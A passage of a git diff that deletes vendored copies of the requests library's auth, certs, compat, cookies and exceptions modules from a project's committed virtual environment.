data=data, **kwargs) - - -def delete(url: _t.UriType, **kwargs: Unpack[_t.RequestKwargs]) -> Response: - r"""Sends a DELETE request. - - :param url: URL for the new :class:`Request` object. - :param \*\*kwargs: Optional arguments that ``request`` takes. - :return: :class:`Response ` object - :rtype: requests.Response - """ - - return request("delete", url, **kwargs) diff --git a/venv/Lib/site-packages/pip/_vendor/requests/auth.py b/venv/Lib/site-packages/pip/_vendor/requests/auth.py deleted file mode 100644 index 2af481dbf59e31965bde74c2e27d73517a39d7ac..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/auth.py +++ /dev/null @@ -1,354 +0,0 @@ -""" -requests.auth -~~~~~~~~~~~~~ - -This module contains the authentication handlers for Requests. -""" - -from __future__ import annotations - -import hashlib -import os -import re -import threading -import time -import warnings -from base64 import b64encode -from typing import TYPE_CHECKING, Any, Final, cast, overload - -from ._internal_utils import to_native_string -from .compat import basestring, str, urlparse -from .cookies import extract_cookies_to_jar -from .utils import parse_dict_header - -if TYPE_CHECKING: - from http.cookiejar import CookieJar - from typing import Any - - from .models import PreparedRequest, Response - -CONTENT_TYPE_FORM_URLENCODED: Final = "application/x-www-form-urlencoded" -CONTENT_TYPE_MULTI_PART: Final = "multipart/form-data" - - -def _basic_auth_str(username: bytes | str, password: bytes | str) -> str: - """Returns a Basic Auth string.""" - - # "I want us to put a big-ol' comment on top of it that - # says that this behaviour is dumb but we need to preserve - # it because people are relying on it." - # - Lukasa - # - # These are here solely to maintain backwards compatibility - # for things like ints. This will be removed in 3.0.0. - if not isinstance(username, basestring): # type: ignore[reportUnnecessaryIsInstance] # runtime guard for non-str/bytes - warnings.warn( - "Non-string usernames will no longer be supported in Requests " - f"3.0.0. Please convert the object you've passed in ({username!r}) to " - "a string or bytes object in the near future to avoid " - "problems.", - category=DeprecationWarning, - ) - username = str(username) - - if not isinstance(password, basestring): # type: ignore[reportUnnecessaryIsInstance] # runtime guard for non-str/bytes - warnings.warn( - "Non-string passwords will no longer be supported in Requests " - f"3.0.0. Please convert the object you've passed in ({type(password)!r}) to " - "a string or bytes object in the near future to avoid " - "problems.", - category=DeprecationWarning, - ) - password = str(password) - # -- End Removal -- - - if isinstance(username, str): - username = username.encode("latin1") - - if isinstance(password, str): - password = password.encode("latin1") - - authstr = "Basic " + to_native_string( - b64encode(b":".join((username, password))).strip() - ) - - return authstr - - -class AuthBase: - """Base class that all auth implementations derive from""" - - def __call__(self, r: PreparedRequest) -> PreparedRequest: - raise NotImplementedError("Auth hooks must be callable.") - - -class HTTPBasicAuth(AuthBase): - """Attaches HTTP Basic Authentication to the given Request object.""" - - username: bytes | str - password: bytes | str - - @overload - def __init__(self, username: str, password: str) -> None: ... - @overload - def __init__(self, username: bytes, password: bytes) -> None: ... - - def __init__(self, username: bytes | str, password: bytes | str) -> None: - self.username = username - self.password = password - - def __eq__(self, other: object) -> bool: - return all( - [ - self.username == getattr(other, "username", None), - self.password == getattr(other, "password", None), - ] - ) - - def __ne__(self, other: Any) -> bool: - return not self == other - - def __call__(self, r: PreparedRequest) -> PreparedRequest: - r.headers["Authorization"] = _basic_auth_str(self.username, self.password) - return r - - -class HTTPProxyAuth(HTTPBasicAuth): - """Attaches HTTP Proxy Authentication to a given Request object.""" - - def __call__(self, r: PreparedRequest) -> PreparedRequest: - r.headers["Proxy-Authorization"] = _basic_auth_str(self.username, self.password) - return r - - -class HTTPDigestAuth(AuthBase): - """Attaches HTTP Digest Authentication to the given Request object.""" - - username: bytes | str - password: bytes | str - _thread_local: threading.local - last_nonce: str - nonce_count: int - chal: dict[str, str] - pos: int | None - num_401_calls: int | None - - @overload - def __init__(self, username: str, password: str) -> None: ... - @overload - def __init__(self, username: bytes, password: bytes) -> None: ... - - def __init__(self, username: bytes | str, password: bytes | str) -> None: - self.username = username - self.password = password - # Keep state in per-thread local storage - self._thread_local = threading.local() - - def init_per_thread_state(self) -> None: - # Ensure state is initialized just once per-thread - if not hasattr(self._thread_local, "init"): - self._thread_local.init = True - self._thread_local.last_nonce = "" - self._thread_local.nonce_count = 0 - self._thread_local.chal = {} - self._thread_local.pos = None - self._thread_local.num_401_calls = None - - def build_digest_header(self, method: str, url: str) -> str | None: - """ - :rtype: str - """ - - realm = self._thread_local.chal["realm"] - nonce = self._thread_local.chal["nonce"] - qop = self._thread_local.chal.get("qop") - algorithm = self._thread_local.chal.get("algorithm") - opaque = self._thread_local.chal.get("opaque") - hash_utf8 = None - - if algorithm is None: - _algorithm = "MD5" - else: - _algorithm = algorithm.upper() - # lambdas assume digest modules are imported at the top level - if _algorithm == "MD5" or _algorithm == "MD5-SESS": - - def md5_utf8(x: str | bytes) -> str: - if isinstance(x, str): - x = x.encode("utf-8") - return hashlib.md5(x, usedforsecurity=False).hexdigest() - - hash_utf8 = md5_utf8 - elif _algorithm == "SHA": - - def sha_utf8(x: str | bytes) -> str: - if isinstance(x, str): - x = x.encode("utf-8") - return hashlib.sha1(x, usedforsecurity=False).hexdigest() - - hash_utf8 = sha_utf8 - elif _algorithm == "SHA-256": - - def sha256_utf8(x: str | bytes) -> str: - if isinstance(x, str): - x = x.encode("utf-8") - return hashlib.sha256(x, usedforsecurity=False).hexdigest() - - hash_utf8 = sha256_utf8 - elif _algorithm == "SHA-512": - - def sha512_utf8(x: str | bytes) -> str: - if isinstance(x, str): - x = x.encode("utf-8") - return hashlib.sha512(x, usedforsecurity=False).hexdigest() - - hash_utf8 = sha512_utf8 - - if hash_utf8 is None: - return None - - def KD(s: str, d: str) -> str: - return hash_utf8(f"{s}:{d}") - - # XXX not implemented yet - entdig = None - p_parsed = urlparse(url) - #: path is request-uri defined in RFC 2616 which should not be empty - path = p_parsed.path or "/" - if p_parsed.query: - path += f"?{p_parsed.query}" - - A1 = f"{self.username}:{realm}:{self.password}" - A2 = f"{method}:{path}" - - HA1 = hash_utf8(A1) - HA2 = hash_utf8(A2) - - if nonce == self._thread_local.last_nonce: - self._thread_local.nonce_count += 1 - else: - self._thread_local.nonce_count = 1 - ncvalue = f"{self._thread_local.nonce_count:08x}" - s = str(self._thread_local.nonce_count).encode("utf-8") - s += nonce.encode("utf-8") - s += time.ctime().encode("utf-8") - s += os.urandom(8) - - cnonce = hashlib.sha1(s, usedforsecurity=False).hexdigest()[:16] - if _algorithm == "MD5-SESS": - HA1 = hash_utf8(f"{HA1}:{nonce}:{cnonce}") # type: ignore[reportConstantRedefinition] # RFC 2617 terminology - - if not qop: - respdig = KD(HA1, f"{nonce}:{HA2}") - elif qop == "auth" or "auth" in qop.split(","): - noncebit = f"{nonce}:{ncvalue}:{cnonce}:auth:{HA2}" - respdig = KD(HA1, noncebit) - else: - # XXX handle auth-int. - return None - - self._thread_local.last_nonce = nonce - - # XXX should the partial digests be encoded too? - base = ( - f'username="{self.username}", realm="{realm}", nonce="{nonce}", ' - f'uri="{path}", response="{respdig}"' - ) - if opaque: - base += f', opaque="{opaque}"' - if algorithm: - base += f', algorithm="{algorithm}"' - if entdig: - base += f', digest="{entdig}"' - if qop: - base += f', qop="auth", nc={ncvalue}, cnonce="{cnonce}"' - - return f"Digest {base}" - - def handle_redirect(self, r: Response, **kwargs: Any) -> None: - """Reset num_401_calls counter on redirects.""" - if r.is_redirect: - self._thread_local.num_401_calls = 1 - - def handle_401(self, r: Response, **kwargs: Any) -> Response: - """ - Takes the given response and tries digest-auth, if needed. - - :rtype: requests.Response - """ - - # If response is not 4xx, do not auth - # See https://github.com/psf/requests/issues/3772 - if not 400 <= r.status_code < 500: - self._thread_local.num_401_calls = 1 - return r - - if self._thread_local.pos is not None: - # Rewind the file position indicator of the body to where - # it was to resend the request. - if (seek := getattr(r.request.body, "seek", None)) is not None: - seek(self._thread_local.pos) - s_auth = r.headers.get("www-authenticate", "") - - if "digest" in s_auth.lower() and self._thread_local.num_401_calls < 2: - self._thread_local.num_401_calls += 1 - pat = re.compile(r"digest ", flags=re.IGNORECASE) - self._thread_local.chal = parse_dict_header(pat.sub("", s_auth, count=1)) - - # Consume content and release the original connection - # to allow our new request to reuse the same one. - r.content - r.close() - prep = r.request.copy() - cookie_jar = cast("CookieJar", prep._cookies) # type: ignore[reportPrivateUsage] - extract_cookies_to_jar(cookie_jar, r.request, r.raw) - prep.prepare_cookies(cookie_jar) - - _digest_auth = self.build_digest_header( - cast(str, prep.method), cast(str, prep.url) - ) - if _digest_auth: - prep.headers["Authorization"] = _digest_auth - _r = r.connection.send(prep, **kwargs) - _r.history.append(r) - _r.request = prep - - return _r - - self._thread_local.num_401_calls = 1 - return r - - def __call__(self, r: PreparedRequest) -> PreparedRequest: - # Initialize per-thread state, if needed - self.init_per_thread_state() - # If we have a saved nonce, skip the 401 - if self._thread_local.last_nonce: - _digest_auth = self.build_digest_header( - cast(str, r.method), cast(str, r.url) - ) - if _digest_auth: - r.headers["Authorization"] = _digest_auth - if (tell := getattr(r.body, "tell", None)) is not None: - self._thread_local.pos = tell() - else: - # In the case of HTTPDigestAuth being reused and the body of - # the previous request was a file-like object, pos has the - # file position of the previous body. Ensure it's set to - # None. - self._thread_local.pos = None - r.register_hook("response", self.handle_401) - r.register_hook("response", self.handle_redirect) - self._thread_local.num_401_calls = 1 - - return r - - def __eq__(self, other: object) -> bool: - return all( - [ - self.username == getattr(other, "username", None), - self.password == getattr(other, "password", None), - ] - ) - - def __ne__(self, other: Any) -> bool: - return not self == other diff --git a/venv/Lib/site-packages/pip/_vendor/requests/certs.py b/venv/Lib/site-packages/pip/_vendor/requests/certs.py deleted file mode 100644 index c5953485fe8dc9c3bf7d02afb9b19406259b9e90..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/certs.py +++ /dev/null @@ -1,18 +0,0 @@ -#!/usr/bin/env python - -""" -requests.certs -~~~~~~~~~~~~~~ - -This module returns the preferred default CA certificate bundle. There is -only one — the one from the certifi package. - -If you are packaging Requests, e.g., for a Linux distribution or a managed -environment, you can change the definition of where() to return a separately -packaged CA bundle. -""" - -from pip._vendor.certifi import where - -if __name__ == "__main__": - print(where()) diff --git a/venv/Lib/site-packages/pip/_vendor/requests/compat.py b/venv/Lib/site-packages/pip/_vendor/requests/compat.py deleted file mode 100644 index 0cbeae64fe0a1dc069fb3ba8db538d32f5194d29..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/compat.py +++ /dev/null @@ -1,96 +0,0 @@ -""" -requests.compat -~~~~~~~~~~~~~~~ - -This module previously handled import compatibility issues -between Python 2 and Python 3. It remains for backwards -compatibility until the next major version. -""" - -# pyright: reportUnusedImport=false - -from __future__ import annotations - -import sys - -# ------- -# urllib3 -# ------- -from pip._vendor.urllib3 import ( - __version__ as urllib3_version, # type: ignore[reportPrivateImportUsage] -) - -# Detect which major version of urllib3 is being used. -try: - is_urllib3_1 = int(urllib3_version.split(".")[0]) == 1 -except (TypeError, AttributeError): - # If we can't discern a version, prefer old functionality. - is_urllib3_1 = True - -# ------------------- -# Character Detection -# ------------------- - - -def _resolve_char_detection() -> None: - """Find supported character detection libraries.""" - chardet = None - return chardet - - -chardet = _resolve_char_detection() - -# ------- -# Pythons -# ------- - -# Syntax sugar. -_ver = sys.version_info - -#: Python 2.x? -is_py2 = _ver[0] == 2 - -#: Python 3.x? -is_py3 = _ver[0] == 3 - -# Note: We've patched out simplejson support in pip because it prevents -# upgrading simplejson on Windows. -import json -from json import JSONDecodeError - -# Keep OrderedDict for backwards compatibility. -from collections import OrderedDict -from collections.abc import Callable, Mapping, MutableMapping -from http import cookiejar as cookielib -from http.cookies import Morsel -from io import StringIO - -# -------------- -# Legacy Imports -# -------------- -from urllib.parse import ( - quote, - quote_plus, - unquote, - unquote_plus, - urldefrag, - urlencode, - urljoin, - urlparse, - urlsplit, - urlunparse, -) -from urllib.request import ( - getproxies, - getproxies_environment, - parse_http_list, - proxy_bypass, - proxy_bypass_environment, # type: ignore[attr-defined] # https://github.com/python/cpython/issues/145331 -) - -builtin_str = str -str = str -bytes = bytes -basestring = (str, bytes) -numeric_types = (int, float) -integer_types = (int,) diff --git a/venv/Lib/site-packages/pip/_vendor/requests/cookies.py b/venv/Lib/site-packages/pip/_vendor/requests/cookies.py deleted file mode 100644 index 2e3fc215095fad13817562bbaee871cba57eec08..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/cookies.py +++ /dev/null @@ -1,625 +0,0 @@ -""" -requests.cookies -~~~~~~~~~~~~~~~~ - -Compatibility code to be able to use `http.cookiejar.CookieJar` with requests. - -requests.utils imports from here, so be careful with imports. -""" - -from __future__ import annotations - -import calendar -import copy -import time -from collections.abc import Iterator, MutableMapping -from http.cookiejar import Cookie, CookieJar, CookiePolicy -from typing import TYPE_CHECKING, Any, TypeVar, overload - -from ._internal_utils import to_native_string -from ._types import is_prepared as _is_prepared -from .compat import Morsel, cookielib, urlparse, urlunparse - -if TYPE_CHECKING: - from _typeshed import SupportsKeysAndGetItem - - from .models import PreparedRequest - -import threading - - -class MockRequest: - """Wraps a `requests.PreparedRequest` to mimic a `urllib2.Request`. - - The code in `http.cookiejar.CookieJar` expects this interface in order to correctly - manage cookie policies, i.e., determine whether a cookie can be set, given the - domains of the request and the cookie. - - The original request object is read-only. The client is responsible for collecting - the new headers via `get_new_headers()` and interpreting them appropriately. You - probably want `get_cookie_header`, defined below. - """ - - type: str - - def __init__(self, request: PreparedRequest) -> None: - assert _is_prepared(request) - self._r = request - self._new_headers: dict[str, str] = {} - self.type = urlparse(self._r.url).scheme - - def get_type(self) -> str: - return self.type - - def get_host(self) -> str: - return urlparse(self._r.url).netloc - - def get_origin_req_host(self) -> str: - return self.get_host() - - def get_full_url(self) -> str: - # Only return the response's URL if the user hadn't set the Host - # header - if not self._r.headers.get("Host"): - return self._r.url - # If they did set it, retrieve it and reconstruct the expected domain - host = to_native_string(self._r.headers["Host"], encoding="utf-8") - parsed = urlparse(self._r.url) - # Reconstruct the URL as we expect it - return urlunparse( - [ - parsed.scheme, - host, - parsed.path, - parsed.params, - parsed.query, - parsed.fragment, - ] - ) - - def is_unverifiable(self) -> bool: - return True - - def has_header(self, name: str) -> bool: - return name in self._r.headers or name in self._new_headers - - def get_header(self, name: str, default: str | None = None) -> str | None: - return self._r.headers.get(name, self._new_headers.get(name, default)) # type: ignore[return-value] - - def add_header(self, key: str, val: str) -> None: - """cookiejar has no legitimate use for this method; add it back if you find one.""" - raise NotImplementedError( - "Cookie headers should be added with add_unredirected_header()" - ) - - def add_unredirected_header(self, name: str, value: str) -> None: - self._new_headers[name] = value - - def get_new_headers(self) -> dict[str, str]: - return self._new_headers - - @property - def unverifiable(self) -> bool: - return self.is_unverifiable() - - @property - def origin_req_host(self) -> str: - return self.get_origin_req_host() - - @property - def host(self) -> str: - return self.get_host() - - -class MockResponse: - """Wraps a `httplib.HTTPMessage` to mimic a `urllib.addinfourl`. - - ...what? Basically, expose the parsed HTTP headers from the server response - the way `http.cookiejar` expects to see them. - """ - - def __init__(self, headers: Any) -> None: - """Make a MockResponse for `cookiejar` to read. - - :param headers: a httplib.HTTPMessage or analogous carrying the headers - """ - self._headers = headers - - def info(self) -> Any: - return self._headers - - def getheaders(self, name: str) -> Any: - self._headers.getheaders(name) - - -def extract_cookies_to_jar( - jar: CookieJar, request: PreparedRequest, response: Any -) -> None: - """Extract the cookies from the response into a CookieJar. - - :param jar: http.cookiejar.CookieJar (not necessarily a RequestsCookieJar) - :param request: our own requests.Request object - :param response: urllib3.HTTPResponse object - """ - if not (hasattr(response, "_original_response") and response._original_response): - return - # the _original_response field is the wrapped httplib.HTTPResponse object, - req = MockRequest(request) - # pull out the HTTPMessage with the headers and put it in the mock: - res = MockResponse(response._original_response.msg) - jar.extract_cookies(res, req) # type: ignore[arg-type] - - -def get_cookie_header(jar: CookieJar, request: PreparedRequest) -> str | None: - """ - Produce an appropriate Cookie header string to be sent with `request`, or None. - - :rtype: str - """ - r = MockRequest(request) - jar.add_cookie_header(r) # type: ignore[arg-type] - return r.get_new_headers().get("Cookie") - - -def remove_cookie_by_name( - cookiejar: CookieJar, name: str, domain: str | None = None, path: str | None = None -) -> None: - """Unsets a cookie by name, by default over all domains and paths. - - Wraps CookieJar.clear(), is O(n). - """ - clearables: list[tuple[str, str, str]] = [] - for cookie in cookiejar: - if cookie.name != name: - continue - if domain is not None and domain != cookie.domain: - continue - if path is not None and path != cookie.path: - continue - clearables.append((cookie.domain, cookie.path, cookie.name)) - - for domain, path, name in clearables: - cookiejar.clear(domain, path, name) - - -class CookieConflictError(RuntimeError): - """There are two cookies that meet the criteria specified in the cookie jar. - Use .get and .set and include domain and path args in order to be more specific. - """ - - -class RequestsCookieJar(CookieJar, MutableMapping[str, str | None]): # type: ignore[misc] - """Compatibility class; is a http.cookiejar.CookieJar, but exposes a dict - interface. - - This is the CookieJar we create by default for requests and sessions that - don't specify one, since some clients may expect response.cookies and - session.cookies to support dict operations. - - Requests does not use the dict interface internally; it's just for - compatibility with external client code. All requests code should work - out of the box with externally provided instances of ``CookieJar``, e.g. - ``LWPCookieJar`` and ``FileCookieJar``. - - Unlike a regular CookieJar, this class is pickleable. - - .. warning:: dictionary operations that are normally O(1) may be O(n). - """ - - _policy: CookiePolicy - - def get( # type: ignore[override] - self, - name: str, - default: str | None = None, - domain: str | None = None, - path: str | None = None, - ) -> str | None: - """Dict-like get() that also supports optional domain and path args in - order to resolve naming collisions from using one cookie jar over - multiple domains. - - .. warning:: operation is O(n), not O(1). - """ - try: - return self._find_no_duplicates(name, domain, path) - except KeyError: - return default - - def set( - self, name: str, value: str | Morsel[dict[str, str]] | None, **kwargs: Any - ) -> Cookie | None: - """Dict-like set() that also supports optional domain and path args in - order to resolve naming collisions from using one cookie jar over - multiple domains. - """ - # support client code that unsets cookies by assignment of a None value: - if value is None: - remove_cookie_by_name( - self, name, domain=kwargs.get("domain"), path=kwargs.get("path") - ) - return - - if isinstance(value, Morsel): - c = morsel_to_cookie(value) - else: - c = create_cookie(name, value, **kwargs) - self.set_cookie(c) - return c - - def iterkeys(self) -> Iterator[str]: - """Dict-like iterkeys() that returns an iterator of names of cookies - from the jar. - - .. seealso:: itervalues() and iteritems(). - """ - for cookie in iter(self): - yield cookie.name - - def keys(self) -> list[str]: # type: ignore[override] - """Dict-like keys() that returns a list of names of cookies from the - jar. - - .. seealso:: values() and items(). - """ - return list(self.iterkeys()) - - def itervalues(self) -> Iterator[str | None]: - """Dict-like itervalues() that returns an iterator of values of cookies - from the jar. - - .. seealso:: iterkeys() and iteritems(). - """ - for cookie in iter(self): - yield cookie.value - - def values(self) -> list[str | None]: # type: ignore[override] - """Dict-like values() that returns a list of values of cookies from the - jar. - - .. seealso:: keys() and items(). - """ - return list(self.itervalues()) - - def iteritems(self) -> Iterator[tuple[str, str | None]]: - """Dict-like iteritems() that returns an iterator of name-value tuples - from the jar. - - .. seealso:: iterkeys() and itervalues(). - """ - for cookie in iter(self): - yield cookie.name, cookie.value - - def items(self) -> list[tuple[str, str | None]]: # type: ignore[override] - """Dict-like items() that returns a list of name-value tuples from the - jar. Allows client-code to call ``dict(RequestsCookieJar)`` and get a - vanilla python dict of key value pairs. - - .. seealso:: keys() and values(). - """ - return list(self.iteritems()) - - def list_domains(self) -> list[str]: - """Utility method to list all the domains in the jar.""" - domains: list[str] = [] - for cookie in iter(self): - if cookie.domain not in domains: - domains.append(cookie.domain) - return domains - - def list_paths(self) -> list[str]: - """Utility method to list all the paths in the jar.""" - paths: list[str] = [] - for cookie in iter(self): - if cookie.path not in paths: - paths.append(cookie.path) - return paths - - def multiple_domains(self) -> bool: - """Returns True if there are multiple domains in the jar. - Returns False otherwise. - - :rtype: bool - """ - domains: list[str] = [] - for cookie in iter(self): - if cookie.domain is not None and cookie.domain in domains: # type: ignore[reportUnnecessaryComparison] # defensive check - return True - domains.append(cookie.domain) - return False # there is only one domain in jar - - def get_dict( - self, domain: str | None = None, path: str | None = None - ) -> dict[str, str | None]: - """Takes as an argument an optional domain and path and returns a plain - old Python dict of name-value pairs of cookies that meet the - requirements. - - :rtype: dict - """ - dictionary: dict[str, str | None] = {} - for cookie in iter(self): - if (domain is None or cookie.domain == domain) and ( - path is None or cookie.path == path - ): - dictionary[cookie.name] = cookie.value - return dictionary - - def __iter__(self) -> Iterator[Cookie]: # type: ignore[override] - """RequestCookieJar's __iter__ comes from CookieJar not MutableMapping.""" - return super().__iter__() - - def __contains__(self, name: object) -> bool: - try: - return super().__contains__(name) - except CookieConflictError: - return True - - def __getitem__(self, name: str) -> str | None: - """Dict-like __getitem__() for compatibility with client code. Throws - exception if there are more than one cookie with name. In that case, - use the more explicit get() method instead. - - .. warning:: operation is O(n), not O(1). - """ - return self._find_no_duplicates(name) - - def __setitem__( - self, name: str, value: str | Morsel[dict[str, str]] | None - ) -> None: - """Dict-like __setitem__ for compatibility with client code. Throws - exception if there is already a cookie of that name in the jar. In that - case, use the more explicit set() method instead. - """ - self.set(name, value) - - def __delitem__(self, name: str) -> None: - """Deletes a cookie given a name. Wraps ``http.cookiejar.CookieJar``'s - ``remove_cookie_by_name()``. - """ - remove_cookie_by_name(self, name) - - def set_cookie(self, cookie: Cookie, *args: Any, **kwargs: Any) -> None: - if ( - (value := cookie.value) is not None - and value.startswith('"') - and value.endswith('"') - ): - cookie.value = value.replace('\\"', "") - return super().set_cookie(cookie, *args, **kwargs) - - def update( # type: ignore[override] - self, other: CookieJar | SupportsKeysAndGetItem[str, str] - ) -> None: - """Updates this jar with cookies from another CookieJar or dict-like""" - if isinstance(other, cookielib.CookieJar): - for cookie in other: - self.set_cookie(copy.copy(cookie)) - else: - super().update(other) - - def _find( - self, name: str, domain: str | None = None, path: str | None = None - ) -> str | None: - """Requests uses this method internally to get cookie values. - - If there are conflicting cookies, _find arbitrarily chooses one. - See _find_no_duplicates if you want an exception thrown if there are - conflicting cookies. - - :param name: a string containing name of cookie - :param domain: (optional) string containing domain of cookie - :param path: (optional) string containing path of cookie - :return: cookie.value - """ - for cookie in iter(self): - if cookie.name == name: - if domain is None or cookie.domain == domain: - if path is None or cookie.path == path: - return cookie.value - - raise KeyError(f"name={name!r}, domain={domain!r}, path={path!r}") - - def _find_no_duplicates( - self, name: str, domain: str | None = None, path: str | None = None - ) -> str: - """Both ``__get_item__`` and ``get`` call this function: it's never - used elsewhere in Requests. - - :param name: a string containing name of cookie - :param domain: (optional) string containing domain of cookie - :param path: (optional) string containing path of cookie - :raises KeyError: if cookie is not found - :raises CookieConflictError: if there are multiple cookies - that match name and optionally domain and path - :return: cookie.value - """ - toReturn = None - for cookie in iter(self): - if cookie.name == name: - if domain is None or cookie.domain == domain: - if path is None or cookie.path == path: - if toReturn is not None: - # if there are multiple cookies that meet passed in criteria - raise CookieConflictError( - f"There are multiple cookies with name, {name!r}" - ) - # we will eventually return this as long as no cookie conflict - toReturn = cookie.value - - if toReturn is not None: - return toReturn - raise KeyError(f"name={name!r}, domain={domain!r}, path={path!r}") - - def __getstate__(self) -> dict[str, Any]: - """Unlike a normal CookieJar, this class is pickleable.""" - state = self.__dict__.copy() - # remove the unpickleable RLock object - state.pop("_cookies_lock") - return state - - def __setstate__(self, state: dict[str, Any]) -> None: - """Unlike a normal CookieJar, this class is pickleable.""" - self.__dict__.update(state) - if "_cookies_lock" not in self.__dict__: - self._cookies_lock = threading.RLock() - - def copy(self) -> RequestsCookieJar: - """Return a copy of this RequestsCookieJar.""" - new_cj = RequestsCookieJar() - new_cj.set_policy(self.get_policy()) - new_cj.update(self) - return new_cj - - def get_policy(self) -> CookiePolicy: - """Return the CookiePolicy instance used.""" - return self._policy - - -def _copy_cookie_jar(jar: CookieJar | None) -> CookieJar | None: # type: ignore[reportUnusedFunction] # cross-module usage in models.py - if jar is None: - return None - - if copy_method := getattr(jar, "copy", None): - # We're dealing with an instance of RequestsCookieJar - return copy_method() - # We're dealing with a generic CookieJar instance - new_jar = copy.copy(jar) - new_jar.clear() - for cookie in jar: - new_jar.set_cookie(copy.copy(cookie)) - return new_jar - - -def create_cookie(name: str, value: str, **kwargs: Any) -> Cookie: - """Make a cookie from underspecified parameters. - - By default, the pair of `name` and `value` will be set for the domain '' - and sent on every request (this is sometimes called a "supercookie"). - """ - result: dict[str, Any] = { - "version": 0, - "name": name, - "value": value, - "port": None, - "domain": "", - "path": "/", - "secure": False, - "expires": None, - "discard": True, - "comment": None, - "comment_url": None, - "rest": {"HttpOnly": None}, - "rfc2109": False, - } - - badargs = set(kwargs) - set(result) - if badargs: - raise TypeError( - f"create_cookie() got unexpected keyword arguments: {list(badargs)}" - ) - - result.update(kwargs) - result["port_specified"] = bool(result["port"]) - result["domain_specified"] = bool(result["domain"]) - result["domain_initial_dot"] = result["domain"].startswith(".") - result["path_specified"] = bool(result["path"]) - - return cookielib.Cookie(**result) - - -def morsel_to_cookie(morsel: Morsel[Any]) -> Cookie: - """Convert a Morsel object into a Cookie containing the one k/v pair.""" - - expires: int | None = None - if morsel["max-age"]: - try: - expires = int(time.time() + int(morsel["max-age"])) - except ValueError: - raise TypeError(f"max-age: {morsel['max-age']} must be integer") - elif morsel["expires"]: - time_template = "%a, %d-%b-%Y %H:%M:%S GMT" - expires = calendar.timegm(time.strptime(morsel["expires"], time_template)) - return create_cookie( - comment=morsel["comment"], - comment_url=bool(morsel["comment"]), - discard=False, - domain=morsel["domain"], - expires=expires, - name=morsel.key, - path=morsel["path"], - port=None, - rest={"HttpOnly": morsel["httponly"]}, - rfc2109=False, - secure=bool(morsel["secure"]), - value=morsel.value, - version=morsel["version"] or 0, - ) - - -_CookieJarT = TypeVar("_CookieJarT", bound=CookieJar) - - -@overload -def cookiejar_from_dict( - cookie_dict: dict[str, str] | None, - cookiejar: None = None, - overwrite: bool = True, -) -> RequestsCookieJar: ... - - -@overload -def cookiejar_from_dict( - cookie_dict: dict[str, str] | None, - cookiejar: _CookieJarT, - overwrite: bool = True, -) -> _CookieJarT: ... - - -def cookiejar_from_dict( - cookie_dict: dict[str, str] | None, - cookiejar: CookieJar | None = None, - overwrite: bool = True, -) -> CookieJar: - """Returns a CookieJar from a key/value dictionary. - - :param cookie_dict: Dict of key/values to insert into CookieJar. - :param cookiejar: (optional) A cookiejar to add the cookies to. - :param overwrite: (optional) If False, will not replace cookies - already in the jar with new ones. - :rtype: CookieJar - """ - if cookiejar is None: - cookiejar = RequestsCookieJar() - - if cookie_dict is not None: - names_from_jar = [cookie.name for cookie in cookiejar] - for name in cookie_dict: - if overwrite or (name not in names_from_jar): - cookiejar.set_cookie(create_cookie(name, cookie_dict[name])) - - return cookiejar - - -def merge_cookies( - cookiejar: CookieJar, cookies: dict[str, str] | CookieJar | None -) -> CookieJar: - """Add cookies to cookiejar and returns a merged CookieJar. - - :param cookiejar: CookieJar object to add the cookies to. - :param cookies: Dictionary or CookieJar object to be added. - :rtype: CookieJar - """ - if not isinstance(cookiejar, cookielib.CookieJar): # type: ignore[reportUnnecessaryIsInstance] # runtime guard - raise ValueError("You can only merge into CookieJar") - - if isinstance(cookies, dict): - cookiejar = cookiejar_from_dict(cookies, cookiejar=cookiejar, overwrite=False) - elif isinstance(cookies, cookielib.CookieJar): - if update_method := getattr(cookiejar, "update", None): - update_method(cookies) - else: - for cookie_in_jar in cookies: - cookiejar.set_cookie(cookie_in_jar) - - return cookiejar diff --git a/venv/Lib/site-packages/pip/_vendor/requests/exceptions.py b/venv/Lib/site-packages/pip/_vendor/requests/exceptions.py deleted file mode 100644 index 3de8f0dc5699c0ee8e5dfbc984f9f48e42e2376b..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/pip/_vendor/requests/exceptions.py +++ /dev/null @@ -1,162 +0,0 @@ -""" -requests.exceptions -~~~~~~~~~~~~~~~~~~~ - -This module contains the set of Requests' exceptions. -""" - -from __future__ import annotations - -from typing import TYPE_CHECKING, Any - -from pip._vendor.urllib3.exceptions import HTTPError as BaseHTTPError - -from .compat import JSONDecodeError as CompatJSONDecodeError - -if TYPE_CHECKING: - from .models import PreparedRequest, Request, Response - - -class RequestException(IOError): - """There was an ambiguous exception that occurred while handling your - request. - """ - - response: Response | None - request: Request | PreparedRequest | None - - def __init__(self, *args: Any, **kwargs: Any) -> None: - """Initialize RequestException with `request` and `response` objects.""" - response: Response | None = kwargs.pop("response", None) - self.response = response - self.request = kwargs.pop("request", None) - if response is not None and not self.request and hasattr(response, "request"): - self.request = response.request - super().__init__(*args, **kwargs) - - -class InvalidJSONError(RequestException): - """A JSON error occurred.""" - - -class JSONDecodeError(InvalidJSONError, CompatJSONDecodeError): - """Couldn't decode the text into json""" - - def __init__(self, *args: Any, **kwargs: Any) -> None: - """ - Construct the JSONDecodeError instance first with all - args. Then use it's args to construct the IOError so that - the json specific args aren't used as IOError specific args - and the error message from JSONDecodeError is preserved. - """ - CompatJSONDecodeError.__init__(self, *args) - InvalidJSONError.__init__(self, *self.args, **kwargs) - - def __reduce__(self) -> tuple[Any, ...] | str: - """ - The __reduce__ method called when pickling the object must - be the one from the JSONDecodeError (be it json/simplejson) - as it expects all the arguments for instantiation, not just - one like the IOError, and the MRO would by default call the - __reduce__ method from the IOError due to the inheritance order. - """ - return CompatJSONDecodeError.__reduce__(self) - - -class HTTPError(RequestException): - """An HTTP error occurred.""" - - -class ConnectionError(RequestException): - """A Connection error occurred.""" - - -class ProxyError(ConnectionError): - """A proxy error occurred.""" - - -class SSLError(ConnectionError): - """An SSL error occurred.""" - - -class Timeout(RequestException): - """The request timed out. - - Catching this error will catch both - :exc:`~requests.exceptions.ConnectTimeout` and - :exc:`~requests.exceptions.ReadTimeout` errors. - """ - - -class ConnectTimeout(ConnectionError, Timeout): - """The request timed out while trying to connect to the remote server. - - Requests that produced this error are safe to retry. - """ - - -class ReadTimeout(Timeout): - """The server did 